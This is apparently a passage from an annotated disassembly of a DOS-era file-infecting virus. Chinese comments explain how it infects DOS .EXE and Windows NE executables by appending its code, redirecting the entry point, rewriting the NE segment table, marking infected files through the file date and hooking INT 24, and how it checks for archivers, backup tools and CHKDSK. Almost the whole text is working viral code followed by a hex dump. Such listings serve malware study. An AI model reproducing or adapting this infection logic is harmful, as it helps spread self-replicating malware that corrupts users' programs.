F6C8:09A3 93            XCHG    AX,BX
F6C8:09A4 B43E          MOV     AH,3E
F6C8:09A6 E85103        CALL    0CFA
F6C8:09A9 5B            POP     BX
F6C8:09AA 72C8          JB      0974
F6C8:09AC B80045        MOV     AX,4500
F6C8:09AF 864504        XCHG    AL,[DI+04]
F6C8:09B2 A81C          TEST    AL,1C
F6C8:09B4 75BE          JNZ     0974
F6C8:09B6 50            PUSH    AX
F6C8:09B7 99            CWD
F6C8:09B8 E83F03        CALL    0CFA
F6C8:09BB 93            XCHG    AX,BX
F6C8:09BC C745020200    MOV     WORD PTR [DI+02],0002
F6C8:09C1 B84300        MOV     AX,0043
F6C8:09C4 324528        XOR     AL,[DI+28]
F6C8:09C7 BD4F4D        MOV     BP,4D4F
F6C8:09CA 336D29        XOR     BP,[DI+29]
F6C8:09CD 0BE8          OR      BP,AX
F6C8:09CF E8BB02        CALL    0C8D
F6C8:09D2 7223          JB      09F7
F6C8:09D4 8BF2          MOV     SI,DX
F6C8:09D6 BF870E        MOV     DI,0E87
F6C8:09D9 0E            PUSH    CS
F6C8:09DA 07            POP     ES
F6C8:09DB F3            REPZ
F6C8:09DC A4            MOVSB
F6C8:09DD E8CD02        CALL    0CAD
F6C8:09E0 91            XCHG    AX,CX
F6C8:09E1 8B05          MOV     AX,[DI]
F6C8:09E3 E8C601        CALL    0BAC
F6C8:09E6 7420          JZ      0A08
F6C8:09E8 0BD5          OR      DX,BP
F6C8:09EA 750B          JNZ     09F7
F6C8:09EC B0E9          MOV     AL,E9
F6C8:09EE AA            STOSB
F6C8:09EF 91            XCHG    AX,CX
F6C8:09F0 2D0300        SUB     AX,0003
F6C8:09F3 AB            STOSW
F6C8:09F4 E98D01        JMP     0B84
F6C8:09F7 E8DB02        CALL    0CD5
F6C8:09FA 58            POP     AX
F6C8:09FB 884504        MOV     [DI+04],AL
F6C8:09FE 804D0640      OR      BYTE PTR [DI+06],40
F6C8:0A02 B43E          MOV     AH,3E
F6C8:0A04 E8F302        CALL    0CFA
F6C8:0A07 C3            RET
;
=======================================================================

; 感染 .EXE 文件代码部分
;
=======================================================================

F6C8:0A08 52            PUSH    DX
F6C8:0A09 51            PUSH    CX
F6C8:0A0A E82102        CALL    0C2E ;检测是否 WINDOWS 文件
F6C8:0A0D 58            POP     AX ;是,转 0A14
F6C8:0A0E 5A            POP     DX
F6C8:0A0F 7303          JNB     0A14
F6C8:0A11 E9EB00        JMP     0AFF ;DOS .EXE 转0AFF
;
=======================================================================

;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580      TEST    BYTE PTR [SI+15],80
F6C8:0A18 75DD          JNZ     09F7 ;.DLL 不传染
F6C8:0A1A 8B4C3A        MOV     CX,[SI+3A] ;取移位值
F6C8:0A1D D1EA          SHR     DX,1
F6C8:0A1F D1D8          RCR     AX,1
F6C8:0A21 72D4          JB      09F7 ;文件长不是移位的
F6C8:0A23 E2F8          LOOP    0A1D ;整数倍不传染
F6C8:0A25 0BD2          OR      DX,DX
F6C8:0A27 75CE          JNZ     09F7 ;文件 > 65535*移位单位 不传染
F6C8:0A29 A3750E        MOV     [0E75],AX ;文件大小 (新的 CS:IP 入口段
)
F6C8:0A2C B108          MOV     CL,08
F6C8:0A2E 294D3C        SUB     [DI+3C],CX ;新 NE 文件头位置前移 8 字节

F6C8:0A31 19553E        SBB     [DI+3E],DX
F6C8:0A34 AC            LODSB
F6C8:0A35 0AC0          OR      AL,AL ;如果这 8 字节不为 0
F6C8:0A37 E1FB          LOOPE   0A34 ;则不传染
F6C8:0A39 75BC          JNZ     09F7
F6C8:0A3B 8B4422        MOV     AX,[SI+22] ;段地址表偏移量
F6C8:0A3E B105          MOV     CL,05
F6C8:0A40 56            PUSH    SI ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400        MOV     BP,0004 ; 0004  登记表偏移
F6C8:0A44 3E            DS: ; 0024  资源表偏移
F6C8:0A45 3B02          CMP     AX,[BP+SI] ; 0026  驻留表偏移
F6C8:0A47 7304          JNB     0A4D ; 0028  模块引用表偏移
F6C8:0A49 3E            DS: ; 002A  引用名表偏移
F6C8:0A4A 830208        ADD     WORD PTR [BP+SI],+08
F6C8:0A4D BD2200        MOV     BP,0022
F6C8:0A50 46            INC     SI
F6C8:0A51 46            INC     SI
F6C8:0A52 E2F0          LOOP    0A44
F6C8:0A54 5E            POP     SI
F6C8:0A55 BD6302        MOV     BP,0263
F6C8:0A58 8B441C        MOV     AX,[SI+1C] ;段计数器 + 1
F6C8:0A5B 50            PUSH    AX
F6C8:0A5C 40            INC     AX
F6C8:0A5D 89441C        MOV     [SI+1C],AX ;入口 CS:IP 改为
F6C8:0A60 876C14        XCHG    BP,[SI+14] ;新段地址:0263
F6C8:0A63 874416        XCHG    AX,[SI+16]
F6C8:0A66 892E850E      MOV     [0E85],BP ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E        MOV     [0E83],AX
F6C8:0A6D 58            POP     AX
F6C8:0A6E BD0800        MOV     BP,0008 ;段地址表长度
F6C8:0A71 F7E5          MUL     BP
F6C8:0A73 034422        ADD     AX,[SI+22] ;加上段地址表偏移
F6C8:0A76 13D1          ADC     DX,CX ;以下将整个 NE 文件头
F6C8:0A78 2D4000        SUB     AX,0040 ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1          SBB     DX,CX ;以便插入一个新的段地址表项
F6C8:0A7D BD0002        MOV     BP,0200
F6C8:0A80 F7F5          DIV     BP
F6C8:0A82 95            XCHG    AX,BP ;先移动余数
F6C8:0A83 B43F          MOV     AH,3F
F6C8:0A85 8BCA          MOV     CX,DX
F6C8:0A87 BA4F0F        MOV     DX,0F4F
F6C8:0A8A E81202        CALL    0C9F
F6C8:0A8D 7246          JB      0AD5
F6C8:0A8F 51            PUSH    CX
F6C8:0A90 C4553C        LES     DX,[DI+3C]
F6C8:0A93 8CC1          MOV     CX,ES
F6C8:0A95 E81C02        CALL    0CB4
F6C8:0A98 59            POP     CX
F6C8:0A99 B440          MOV     AH,40
F6C8:0A9B 83C140        ADD     CX,+40
F6C8:0A9E BA0F0F        MOV     DX,0F0F
F6C8:0AA1 E8FB01        CALL    0C9F
F6C8:0AA4 722F          JB      0AD5
F6C8:0AA6 83ED01        SUB     BP,+01 ;再一次移动 200H 字节
F6C8:0AA9 722D          JB      0AD8
F6C8:0AAB 33C9          XOR     CX,CX
F6C8:0AAD BA0800        MOV     DX,0008
F6C8:0AB0 E80402        CALL    0CB7
F6C8:0AB3 B43F          MOV     AH,3F
F6C8:0AB5 B502          MOV     CH,02
F6C8:0AB7 BA4F0F        MOV     DX,0F4F
F6C8:0ABA E8E201        CALL    0C9F
F6C8:0ABD 7216          JB      0AD5
F6C8:0ABF B9FFFF        MOV     CX,FFFF
F6C8:0AC2 BAF8FD        MOV     DX,FDF8
F6C8:0AC5 E8EF01        CALL    0CB7
F6C8:0AC8 B440          MOV     AH,40
F6C8:0ACA B90002        MOV     CX,0200
F6C8:0ACD BA4F0F        MOV     DX,0F4F
F6C8:0AD0 E8CC01        CALL    0C9F
F6C8:0AD3 73D1          JNB     0AA6
F6C8:0AD5 E91FFF        JMP     09F7
F6C8:0AD8 B440          MOV     AH,40 ;写入新的段地址表项
F6C8:0ADA B90800        MOV     CX,0008 ;(病毒的段地址表项)
F6C8:0ADD BA750E        MOV     DX,0E75
F6C8:0AE0 E8BC01        CALL    0C9F
F6C8:0AE3 72F0          JB      0AD5
F6C8:0AE5 A32C03        MOV     [032C],AX ;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03      MOV     [032E],BP
F6C8:0AEC 40            INC     AX
F6C8:0AED A37D0E        MOV     [0E7D],AX ;AX = 0001
F6C8:0AF0 C7067F0E0304  MOV     WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03  MOV     WORD PTR [0E81],032C
F6C8:0AFC E98500        JMP     0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00        CALL    0BA1 ;文件长/200H
F6C8:0B02 2B4504        SUB     AX,[DI+04]
F6C8:0B05 75CE          JNZ     0AD5
F6C8:0B07 2B5502        SUB     DX,[DI+02]
F6C8:0B0A 75C9          JNZ     0AD5 ;有覆盖部分不传染
F6C8:0B0C 837D0CFF      CMP     WORD PTR [DI+0C],-01
F6C8:0B10 75C3          JNZ     0AD5 ;最大要求内存不为-1不传染
F6C8:0B12 3B451A        CMP     AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染

F6C8:0B15 75BE          JNZ     0AD5
F6C8:0B17 E89301        CALL    0CAD ;DOS 4202 功能
F6C8:0B1A BE1000        MOV     SI,0010 ;文件长 > 640K 不传染
F6C8:0B1D 3BD6          CMP     DX,SI
F6C8:0B1F 73B4          JNB     0AD5
F6C8:0B21 F7F6          DIV     SI
F6C8:0B23 2B4508        SUB     AX,[DI+08] ;减去文件头大小
F6C8:0B26 50            PUSH    AX
F6C8:0B27 52            PUSH    DX
F6C8:0B28 875514        XCHG    DX,[DI+14] ;设置新的 CS:IP
F6C8:0B2B 874516        XCHG    AX,[DI+16] ;到文件尾 (病毒开始处)
F6C8:0B2E 52            PUSH    DX
F6C8:0B2F 034508        ADD     AX,[DI+08]
F6C8:0B32 F7EE          IMUL    SI
F6C8:0B34 5E            POP     SI
F6C8:0B35 2D0200        SUB     AX,0002
F6C8:0B38 1BD1          SBB     DX,CX
F6C8:0B3A 03C6          ADD     AX,SI ;移动文件指针到
F6C8:0B3C 13CA          ADC     CX,DX ;开始执行前 2 字节
F6C8:0B3E 92            XCHG    AX,DX
F6C8:0B3F E87201        CALL    0CB4 ;DOS 4200
F6C8:0B42 B43F          MOV     AH,3F ;读出 2 字节
F6C8:0B44 B90200        MOV     CX,0002
F6C8:0B47 BA4F11        MOV     DX,114F
F6C8:0B4A E85201        CALL    0C9F
F6C8:0B4D 5A            POP     DX
F6C8:0B4E 58            POP     AX
F6C8:0B4F 724D          JB      0B9E
F6C8:0B51 813E4F115242  CMP     WORD PTR [114F],4252
F6C8:0B57 7445          JZ      0B9E ;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710      ADD     DX,10C7 ;?????
F6C8:0B5D 48            DEC     AX
F6C8:0B5E 7409          JZ      0B69
F6C8:0B60 83C210        ADD     DX,+10
F6C8:0B63 83FA80        CMP     DX,-80
F6C8:0B66 72F5          JB      0B5D
F6C8:0B68 48            DEC     AX
F6C8:0B69 40            INC     AX
F6C8:0B6A 80E2FE        AND     DL,FE
F6C8:0B6D 895510        MOV     [DI+10],DX
F6C8:0B70 89450E        MOV     [DI+0E],AX
F6C8:0B73 E83701        CALL    0CAD ;DOS 4202 功能
F6C8:0B76 05C70E        ADD     AX,0EC7 ;新的文件长
F6C8:0B79 13D1          ADC     DX,CX
F6C8:0B7B E82300        CALL    0BA1
F6C8:0B7E 894504        MOV     [DI+04],AX ;设置新的文件长
F6C8:0B81 895502        MOV     [DI+02],DX
F6C8:0B84 E80901        CALL    0C90 ;写文件头 40H 字节
F6C8:0B87 7215          JB      0B9E
F6C8:0B89 E82101        CALL    0CAD ;DOS 4202 功能
F6C8:0B8C B440          MOV     AH,40
F6C8:0B8E B9C70E        MOV     CX,0EC7 ;写病毒 0EC7 字节
F6C8:0B91 99            CWD
F6C8:0B92 E80A01        CALL    0C9F
F6C8:0B95 7207          JB      0B9E
F6C8:0B97 E83B01        CALL    0CD5 ;取文件句柄表地址
F6C8:0B9A 804510C8      ADD     BYTE PTR [DI+10],C8 ;设置传染标记
F6C8:0B9E E956FE        JMP     09F7 ;文件日期加上 200 年
;
======================================================================
F6C8:0BA1 B90002        MOV     CX,0200
F6C8:0BA4 F7F1          DIV     CX
F6C8:0BA6 0BD2          OR      DX,DX
F6C8:0BA8 7401          JZ      0BAB
F6C8:0BAA 40            INC     AX
F6C8:0BAB C3            RET
;
======================================================================
F6C8:0BAC 40            INC     AX
F6C8:0BAD 3D4E5A        CMP     AX,5A4E
F6C8:0BB0 7403          JZ      0BB5
F6C8:0BB2 3D5B4D        CMP     AX,4D5B
F6C8:0BB5 C3            RET
;
=======================================================================

;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50            PUSH    AX
F6C8:0BB7 53            PUSH    BX
F6C8:0BB8 52            PUSH    DX
F6C8:0BB9 1E            PUSH    DS
F6C8:0BBA 06            PUSH    ES
F6C8:0BBB 0E            PUSH    CS
F6C8:0BBC 1F            POP     DS
F6C8:0BBD B82435        MOV     AX,3524
F6C8:0BC0 E83701        CALL    0CFA
F6C8:0BC3 891E7311      MOV     [1173],BX
F6C8:0BC7 8C067511      MOV     [1175],ES
F6C8:0BCB B425          MOV     AH,25
F6C8:0BCD BAEB0B        MOV     DX,0BEB
F6C8:0BD0 E82701        CALL    0CFA
F6C8:0BD3 07            POP     ES
F6C8:0BD4 1F            POP     DS
F6C8:0BD5 5A            POP     DX
F6C8:0BD6 5B            POP     BX
F6C8:0BD7 58            POP     AX
F6C8:0BD8 C3            RET
;
========================================================================
==
;恢复原 INT 24 中断向量
F6C8:0BD9 50            PUSH    AX
F6C8:0BDA 52            PUSH    DX
F6C8:0BDB 1E            PUSH    DS
F6C8:0BDC B82425        MOV     AX,2524
F6C8:0BDF 2E            CS:
F6C8:0BE0 C5167311      LDS     DX,[1173]
F6C8:0BE4 E81301        CALL    0CFA
F6C8:0BE7 1F            POP     DS
F6C8:0BE8 5A            POP     DX
F6C8:0BE9 58            POP     AX
F6C8:0BEA C3            RET
;
========================================================================
==
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003          MOV     AL,03
F6C8:0BED CF            IRET
;
========================================================================
==
F6C8:0BEE 832E030F08    SUB     WORD PTR [0F03],+08
F6C8:0BF3 831E050F00    SBB     WORD PTR [0F05],+00
F6C8:0BF8 E83300        CALL    0C2E
F6C8:0BFB 7230          JB      0C2D
F6C8:0BFD B108          MOV     CL,08
F6C8:0BFF 882C          MOV     [SI],CH
F6C8:0C01 46            INC     SI
F6C8:0C02 E2FB          LOOP    0BFF
F6C8:0C04 FF4C1C        DEC     WORD PTR [SI+1C]
F6C8:0C07 A1C50E        MOV     AX,[0EC5]
F6C8:0C0A 894414        MOV     [SI+14],AX
F6C8:0C0D A1C30E        MOV     AX,[0EC3]
F6C8:0C10 894416        MOV     [SI+16],AX
F6C8:0C13 8B4422        MOV     AX,[SI+22]
F6C8:0C16 B105          MOV     CL,05
F6C8:0C18 56            PUSH    SI
F6C8:0C19 BD0400        MOV     BP,0004
F6C8:0C1C 3E            DS:
F6C8:0C1D 3B02          CMP     AX,[BP+SI]
F6C8:0C1F 7304          JNB     0C25
F6C8:0C21 3E            DS:
F6C8:0C22 832A08        SUB     WORD PTR [BP+SI],+08
F6C8:0C25 BD2200        MOV     BP,0022
F6C8:0C28 46            INC     SI
F6C8:0C29 46            INC     SI
F6C8:0C2A E2F0          LOOP    0C1C
F6C8:0C2C 5E            POP     SI
F6C8:0C2D C3            RET
;
=======================================================================

;检测是否 WINDOWS 可执行程序或新格式可执行程序
F6C8:0C2E 833EDF0E40    CMP     WORD PTR [0EDF],+40
F6C8:0C33 7225          JB      0C5A ;重定位表地址 < 40
F6C8:0C35 C416030F      LES     DX,[0F03] ;不是 WINDOWS 文件
F6C8:0C39 8CC1          MOV     CX,ES
F6C8:0C3B 83EA08        SUB     DX,+08 ;移动到 NE 文件头 - 8 处
F6C8:0C3E 83D900        SBB     CX,+00 ;
F6C8:0C41 E87000        CALL    0CB4 ;DOS 4200功能
F6C8:0C44 B43F          MOV     AH,3F
F6C8:0C46 B94800        MOV     CX,0048 ;读出 48H 字节
F6C8:0C49 BA070F        MOV     DX,0F07 ;NE 文件头在 0F0F 处
F6C8:0C4C 8BF2          MOV     SI,DX
F6C8:0C4E E84E00        CALL    0C9F
F6C8:0C51 7207          JB      0C5A
F6C8:0C53 817C084E45    CMP     WORD PTR [SI+08],454E
F6C8:0C58 7401          JZ      0C5B ;不是 "NE" 设置 CY
F6C8:0C5A F9            STC
F6C8:0C5B C3            RET
;
========================================================================
==
F6C8:0C5C 53            PUSH    BX
F6C8:0C5D 51            PUSH    CX
F6C8:0C5E 52            PUSH    DX
F6C8:0C5F 56            PUSH    SI
F6C8:0C60 57            PUSH    DI
F6C8:0C61 55            PUSH    BP
F6C8:0C62 1E            PUSH    DS
F6C8:0C63 06            PUSH    ES
F6C8:0C64 B98B28        MOV     CX,288B
F6C8:0C67 BA75D5        MOV     DX,D575
F6C8:0C6A B80010        MOV     AX,1000
F6C8:0C6D 8ED8          MOV     DS,AX
F6C8:0C6F B43F          MOV     AH,3F
F6C8:0C71 E81701        CALL    0D8B
F6C8:0C74 720E          JB      0C84
F6C8:0C76 0E            PUSH    CS
F6C8:0C77 1F            POP     DS
F6C8:0C78 01066F07      ADD     [076F],AX
F6C8:0C7C 0106680C      ADD     [0C68],AX
F6C8:0C80 2906650C      SUB     [0C65],AX
F6C8:0C84 07            POP     ES
F6C8:0C85 1F            POP     DS
F6C8:0C86 5D            POP     BP
F6C8:0C87 5F            POP     DI
F6C8:0C88 5E            POP     SI
F6C8:0C89 5A            POP     DX
F6C8:0C8A 59            POP     CX
F6C8:0C8B 5B            POP     BX
F6C8:0C8C C3            RET
;
========================================================================
=
F6C8:0C8D B43F          MOV     AH,3F
F6C8:0C8F 3DB440        CMP     AX,40B4
F6C8:0C92 50            PUSH    AX
F6C8:0C93 E81100        CALL    0CA7
F6C8:0C96 58            POP     AX
F6C8:0C97 B94000        MOV     CX,0040
F6C8:0C9A BAC70E        MOV     DX,0EC7
F6C8:0C9D 0E            PUSH    CS
F6C8:0C9E 1F            POP     DS
F6C8:0C9F E85800        CALL    0CFA
F6C8:0CA2 7202          JB      0CA6
F6C8:0CA4 2BC1          SUB     AX,CX
F6C8:0CA6 C3            RET
;
========================================================================
=
F6C8:0CA7 B000          MOV     AL,00
F6C8:0CA9 3DB001        CMP     AX,01B0
F6C8:0CAC 3DB002        CMP     AX,02B0
F6C8:0CAF 33C9          XOR     CX,CX
F6C8:0CB1 33D2          XOR     DX,DX
F6C8:0CB3 3DB000        CMP     AX,00B0
F6C8:0CB6 3DB001        CMP     AX,01B0
F6C8:0CB9 3DB002        CMP     AX,02B0
F6C8:0CBC B442          MOV     AH,42
F6C8:0CBE EB3A          JMP     0CFA
F6C8:0CC0 B9FFFF        MOV     CX,FFFF
F6C8:0CC3 BABCFF        MOV     DX,FFBC
F6C8:0CC6 E8F1FF        CALL    0CBA
F6C8:0CC9 B43F          MOV     AH,3F
F6C8:0CCB B94400        MOV     CX,0044
F6C8:0CCE BAC30E        MOV     DX,0EC3
F6C8:0CD1 0E            PUSH    CS
F6C8:0CD2 1F            POP     DS
F6C8:0CD3 EBCA          JMP     0C9F
F6C8:0CD5 50            PUSH    AX
F6C8:0CD6 53            PUSH    BX
F6C8:0CD7 B82012        MOV     AX,1220
F6C8:0CDA E8E300        CALL    0DC0
F6C8:0CDD 33DB          XOR     BX,BX
F6C8:0CDF 26            ES:
F6C8:0CE0 8A1D          MOV     BL,[DI]
F6C8:0CE2 B81612        MOV     AX,1216
F6C8:0CE5 E8D800        CALL    0DC0
F6C8:0CE8 720D          JB      0CF7
F6C8:0CEA 06            PUSH    ES
F6C8:0CEB 1F            POP     DS
F6C8:0CEC F6450580      TEST    BYTE PTR [DI+05],80
F6C8:0CF0 F5            CMC
F6C8:0CF1 7504          JNZ     0CF7
F6C8:0CF3 F64510C0      TEST    BYTE PTR [DI+10],C0
F6C8:0CF7 5B            POP     BX
F6C8:0CF8 58            POP     AX
F6C8:0CF9 C3            RET
;
========================================================================
=
F6C8:0CFA E84D00        CALL    0D4A
F6C8:0CFD E88B00        CALL    0D8B
F6C8:0D00 E85E00        CALL    0D61
F6C8:0D03 2E            CS:
F6C8:0D04 FF366911      PUSH    WORD PTR [1169]
F6C8:0D08 2E            CS:
F6C8:0D09 FF366D11      PUSH    WORD PTR [116D]
F6C8:0D0D 2E            CS:
F6C8:0D0E FF366F11      PUSH    WORD PTR [116F]
F6C8:0D12 2E            CS:
F6C8:0D13 8C1E6D11      MOV     [116D],DS
F6C8:0D17 0E            PUSH    CS
F6C8:0D18 1F            POP     DS
F6C8:0D19 893E6911      MOV     [1169],DI
F6C8:0D1D 8C066F11      MOV     [116F],ES
F6C8:0D21 BF5F11        MOV     DI,115F
F6C8:0D24 0E            PUSH    CS
F6C8:0D25 07            POP     ES
F6C8:0D26 FF35          PUSH    WORD PTR [DI]
F6C8:0D28 9C            PUSHF
F6C8:0D29 AB            STOSW
F6C8:0D2A 8B05          MOV     AX,[DI]
F6C8:0D2C 93            XCHG    AX,BX
F6C8:0D2D AB            STOSW
F6C8:0D2E 8B05          MOV     AX,[DI]
F6C8:0D30 91            XCHG    AX,CX
F6C8:0D31 AB            STOSW
F6C8:0D32 8B05          MOV     AX,[DI]
F6C8:0D34 92            XCHG    AX,DX
F6C8:0D35 AB            STOSW
F6C8:0D36 8B05          MOV     AX,[DI]
F6C8:0D38 96            XCHG    AX,SI
F6C8:0D39 AB            STOSW
F6C8:0D3A AF            SCASW
F6C8:0D3B 8B05          MOV     AX,[DI]
F6C8:0D3D 95            XCHG    AX,BP
F6C8:0D3E AB            STOSW
F6C8:0D3F 58            POP     AX
F6C8:0D40 874504        XCHG    AX,[DI+04]
F6C8:0D43 50            PUSH    AX
F6C8:0D44 9D            POPF
F6C8:0D45 58            POP     AX
F6C8:0D46 07            POP     ES
F6C8:0D47 1F            POP     DS
F6C8:0D48 5F            POP     DI
F6C8:0D49 C3            RET
;
========================================================================
==
F6C8:0D4A 9C            PUSHF
F6C8:0D4B 50            PUSH    AX
F6C8:0D4C 53            PUSH    BX
F6C8:0D4D 51            PUSH    CX
F6C8:0D4E 52            PUSH    DX
F6C8:0D4F 56            PUSH    SI
F6C8:0D50 57            PUSH    DI
F6C8:0D51 55            PUSH    BP
F6C8:0D52 1E            PUSH    DS
F6C8:0D53 06            PUSH    ES
F6C8:0D54 E8ACFF        CALL    0D03
F6C8:0D57 07            POP     ES
F6C8:0D58 1F            POP     DS
F6C8:0D59 5D            POP     BP
F6C8:0D5A 5F            POP     DI
F6C8:0D5B 5E            POP     SI
F6C8:0D5C 5A            POP     DX
F6C8:0D5D 59            POP     CX
F6C8:0D5E 5B            POP     BX
F6C8:0D5F 58            POP     AX
F6C8:0D60 9D            POPF
F6C8:0D61 50            PUSH    AX
F6C8:0D62 53            PUSH    BX
F6C8:0D63 51            PUSH    CX
F6C8:0D64 56            PUSH    SI
F6C8:0D65 1E            PUSH    DS
F6C8:0D66 B81812        MOV     AX,1218
F6C8:0D69 E85400        CALL    0DC0
F6C8:0D6C BF5F11        MOV     DI,115F
F6C8:0D6F B90900        MOV     CX,0009
F6C8:0D72 AD            LODSW
F6C8:0D73 2E            CS:
F6C8:0D74 8705          XCHG    AX,[DI]
F6C8:0D76 AF            SCASW
F6C8:0D77 8944FE        MOV     [SI-02],AX
F6C8:0D7A E2F6          LOOP    0D72
F6C8:0D7C 8B4404        MOV     AX,[SI+04]
F6C8:0D7F 2E            CS:
F6C8:0D80 8705          XCHG    AX,[DI]
F6C8:0D82 894404        MOV     [SI+04],AX
F6C8:0D85 1F            POP     DS
F6C8:0D86 5E            POP     SI
F6C8:0D87 59            POP     CX
F6C8:0D88 5B            POP     BX
F6C8:0D89 58            POP     AX
F6C8:0D8A C3            RET
;==================================================================
;病毒自己执行 INT 21 功能
F6C8:0D8B 50            PUSH    AX
F6C8:0D8C 53            PUSH    BX
F6C8:0D8D 1E            PUSH    DS
F6C8:0D8E 2E            CS:
F6C8:0D8F C51E5711      LDS     BX,[1157]
F6C8:0D93 8AC4          MOV     AL,AH
F6C8:0D95 98            CBW
F6C8:0D96 D1E0          SHL     AX,1
F6C8:0D98 2E            CS:
F6C8:0D99 03065111      ADD     AX,[1151]
F6C8:0D9D 93            XCHG    AX,BX
F6C8:0D9E 8B07          MOV     AX,[BX]
F6C8:0DA0 2E            CS:
F6C8:0DA1 A35511        MOV     [1155],AX
F6C8:0DA4 2E            CS:
F6C8:0DA5 832E571105    SUB     WORD PTR [1157],+05
F6C8:0DAA 1F            POP     DS
F6C8:0DAB 5B            POP     BX
F6C8:0DAC 58            POP     AX
F6C8:0DAD 685344        PUSH    4453
F6C8:0DB0 2E            CS:
F6C8:0DB1 FF365711      PUSH    WORD PTR [1157]
F6C8:0DB5 2E            CS:
F6C8:0DB6 FF365911      PUSH    WORD PTR [1159]
F6C8:0DBA 2E            CS:
F6C8:0DBB FF365511      PUSH    WORD PTR [1155]
F6C8:0DBF CB            RETF
F6C8:0DC0 3C12          CMP     AL,12
F6C8:0DC2 9C            PUSHF
F6C8:0DC3 FA            CLI
F6C8:0DC4 0E            PUSH    CS
F6C8:0DC5 E80100        CALL    0DC9
F6C8:0DC8 C3            RET
F6C8:0DC9 2E            CS:
F6C8:0DCA FF365911      PUSH    WORD PTR [1159]
F6C8:0DCE 2E            CS:
F6C8:0DCF FF365D11      PUSH    WORD PTR [115D]
F6C8:0DD3 CB            RETF
F6C8:0DD4 CD2F          INT     2F      (Multiplex)
F6C8:0DD6 C3            RET
;=====================================================================
;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
F6C8:0DD7 56            PUSH    SI
F6C8:0DD8 BE1C0E        MOV     SI,0E1C
F6C8:0DDB E80B00        CALL    0DE9
F6C8:0DDE 5E            POP     SI
F6C8:0DDF C3            RET
;=====================================================================
;比较当前执行文件名是否为 CHKDSK
F6C8:0DE0 56            PUSH    SI
F6C8:0DE1 BE450E        MOV     SI,0E45
F6C8:0DE4 E80200        CALL    0DE9
F6C8:0DE7 5E            POP     SI
F6C8:0DE8 C3            RET
;
=======================================================================

;比较当前执行文件名
;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
;是, 返回 ZR
F6C8:0DE9 60            PUSHA
F6C8:0DEA 1E            PUSH    DS
F6C8:0DEB 06            PUSH    ES
F6C8:0DEC 0E            PUSH    CS
F6C8:0DED 1F            POP     DS
F6C8:0DEE B451          MOV     AH,51 ;得到当前进程 PSP
F6C8:0DF0 CD21          INT     21
F6C8:0DF2 4B            DEC     BX
F6C8:0DF3 8EC3          MOV     ES,BX
F6C8:0DF5 33DB          XOR     BX,BX
F6C8:0DF7 26            ES:
F6C8:0DF8 817F084C4C    CMP     WORD PTR [BX+08],4C4C
F6C8:0DFD 7506          JNZ     0E05 ;"LL"
F6C8:0DFF 26            ES:
F6C8:0E00 385F0B        CMP     [BX+0B],BL
F6C8:0E03 7413          JZ      0E18
F6C8:0E05 AC            LODSB
F6C8:0E06 3C01          CMP     AL,01 ;比较字符数
F6C8:0E08 720E          JB      0E18
F6C8:0E0A 98            CBW
F6C8:0E0B 8BC8          MOV     CX,AX
F6C8:0E0D 03C6          ADD     AX,SI
F6C8:0E0F 50            PUSH    AX
F6C8:0E10 BF0800        MOV     DI,0008
F6C8:0E13 F3            REPZ
F6C8:0E14 A6            CMPSB
F6C8:0E15 5E            POP     SI
F6C8:0E16 75ED          JNZ     0E05
F6C8:0E18 07            POP     ES
F6C8:0E19 1F            POP     DS
F6C8:0E1A 61            POPA
F6C8:0E1B C3            RET

F6C8:0E10  BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A   .....^u...
a..PKZ
F6C8:0E20  49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54   IP.ARJ.
RAR.LHA.T
F6C8:0E30  45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41   ELIX.
BACKUP.MSBA
F6C8:0E40  43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01   CKUP..
CHKDSK.P..
F6C8:0E50  02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05   .P...P...
P...P..
F6C8:0E60  02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09   .P...P...
P...P..
F6C8:0E70  02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03   .P.....}..
.}....
F6C8:0E80  04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30   .,.....
F6C8:0000
F6C8:0E90  20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50    0E
    P
F6C8:0EA0  55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A   USH    CS.
.F6C8:
F6C8:0EB0  30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20   0001 1F

F6C8:0EC0  20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7      .....m.
f.....
F6C8:0ED0  0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00   ..........
......
F6C8:0EE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0EF0  00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E   ..........
...d..
F6C8:0F00  0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00   ...&......
......
F6C8:0F10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0F80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
